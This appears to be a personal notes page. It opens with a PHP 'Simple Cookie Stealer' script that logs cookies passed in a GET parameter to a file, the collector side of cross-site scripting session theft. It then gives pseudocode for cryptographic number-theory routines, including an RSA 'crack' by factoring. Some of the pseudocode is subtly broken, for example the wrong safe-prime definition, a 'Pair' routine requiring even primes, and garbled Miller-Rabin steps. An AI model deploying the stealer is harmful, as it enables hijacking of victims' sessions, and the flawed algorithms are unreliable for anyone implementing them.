Simple Cookie Stealer
- SimpleCookieStealer.php
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>
Common Crypto Algorithms
- Int gcd (Int a, Int b)
gcd (a, b)
insure a > b, if not then swap values
while b > 0
temp = a mod b;
a = b;
b = temp;
return a;
- (Int, Int, Int) gcde(Int a, Int b)
gcde (a, b)
Set up the matrix s0 = 1, t0 = 0
S1 = 0, t0 = 1
q0 = 1, q1 = 1
r0 = 0, r1 = 0
If a < b -> r0 = b, r1 = a
Otherwise -> r0 = a, r1 = b
List q, r
While r1 != 0
//Set up the q and r values
q0 = q1
q1 = r0 divideandremainder r1
q.add(q1)
r0 = r1
r1 = ro mod r1
r.add(r1)
for (i = 0; i < q.size-1; i++)
tmpS = s1
s1 = s0 - (q.get(i)*s1)
s0 = tmpS
tmpt = t1
t1 = t0 - (q.get(i) *t1)
t0 = tmpt
if a > b -> return r0, s0, t0
else -> return r0, t0, s1
____________________________________
n | qn rn Sn tn
0 | - a 1 0
1 | b 0 1
n |
rn = sn.a + tn.b where
sn+1 = -qn.sn + sn-1
tn+1 = -qn.tn + tn-1
- Int invm(Int a, Int b)
if a < 0, get the abs of a, which is = (a+(m*|a|/m)+1
if gcd(a, m) != 1 throw exception
return the second element from the gcde(a, m)
- Int divm(Int m, Int a, Int b)
if gcd(b, m) != 1 throw exception
return a * (inverse(m, b)) mod m
- Int phi (Int n)
phi (n)
Test if n is prime
List factors = Factor(N)
for each i in factors up to factors.length -1
if factors(i) == factors(i+1)
factors(i+1).remove
phiofn = n
for each i in factors
phiofn = phiofn*(1-(1/factors(i)))
return phiofn
- Int* factors (Int n)
factors(n)
list l; int i = 2;
while n >= i
while (n mod i) = 0
n = n/i
l.add(i)
i++
return l
- Integer expm(Int m, Int a, Int b)
a^b mod m
set i = 1
if b = 0 or a = 1, return 1;
while b > 1
if the lsb of b is 1
i = (i * a) mod m
b = b.shiftRight() //-> LSB
a = a^2 mod m
i = (i * a) mod m; //run once
return i;
- Int Naive (Int g, Int p)
//g = a generator of Z*p
for k = 1; k < p; k++
if g^k mod p == 1
return k
throw exception
- Int order(Int p, Int* factors, Int a)
Set t = p - 1
For each prime factor pi do j
Test if a^t' == 1 mod p where t'=t/pi
:True, then pi must not be a prime factor of ti so set t = ti
:False, then pi is a prime factor so do not change t
return t
- Random Number Generation.
A prime p is defined to be safe if p-1 has a large prime factor.
1. Generate a random number p
2. if p isn't prime then go to step 1
3. q = p -1 / 2
4. if q isn't prime then go to step 1
5. Start at g = 2
if order (p, (2, q), g) doesn't equal 0 then increment g by one and repeat the test.
Iterate through this approximately 25 times.
else go to step 1
if g >= p, throw error
6. p = safe prime
7. g = a generator
-
Int* efactors(Int n)
set a, b = 2
set d, i = 1
while i < (n/2 + 1)
a = a^2 + 1 mod n
b = b^2 + 1 mod n
b = b^2 + 1 mod n
d = gcd(|a-b|, n)
if d = n throw exception
if d != 1
ans.add(d)
ans.add(n/d)
i++
return ans
- Crack & eCrack
crack(m,e,ciphertext) & eCrack(m,e,ciphertext)
//ecrack calls eFactors, crack calls Factors
d = 0
phi = phi(n)
try{
d = invm(e,phi)
} catch (Exception e) {
throw exception “Could calculate phi”
}
//(m,d,Ciphertext) = Ciphertextd mod m
return rsaDecStr(m,d,Ciphertext)
- Bool Fermat (Int n, Int t)
//n = to test
//t = desired accuracy
For i = 0 to t
choose a rand integer a, 1 < a < n-1
r = expm(n,a,n-1)
if r != 1
return false
return true
- Bool MillerRabbin(Int n, Int t)
if n =< 1 throw exception
Set s = 1
while (2s mod n-1) mod 2 == 0
s++
r = 2s mod n-1
for i = 1 to t
choose a random a, s.t. 1 < a < n-1
y = ar mod n
if y != 1 & y != n-1
j = 1
while j<s & y!= n-1
y = y 2 mod n
if y = 1 return false
j++
if y != n-1 return false
return true
- Bool isGenerator(Int p, List f, Int a)
For all elements in f //factors of p-1
result = expm(p,a, phi(p)/element)
if result = 1
return false
return true
- Int FindG(Int p, List factors)
a = 2 //factors = factors of p-1
while!isGenerator(p, factors, a)
a++
return a
- Int* Pair(Int d)
//first 3 lines are the method for safe
keep generating numbers until (prime mod 2 = 0) && MR(d) says its prime
safe_prime = (prime * prime) + 1
factors = factors(safe_prime);
generator = findG (prime, factors)
return prime, generator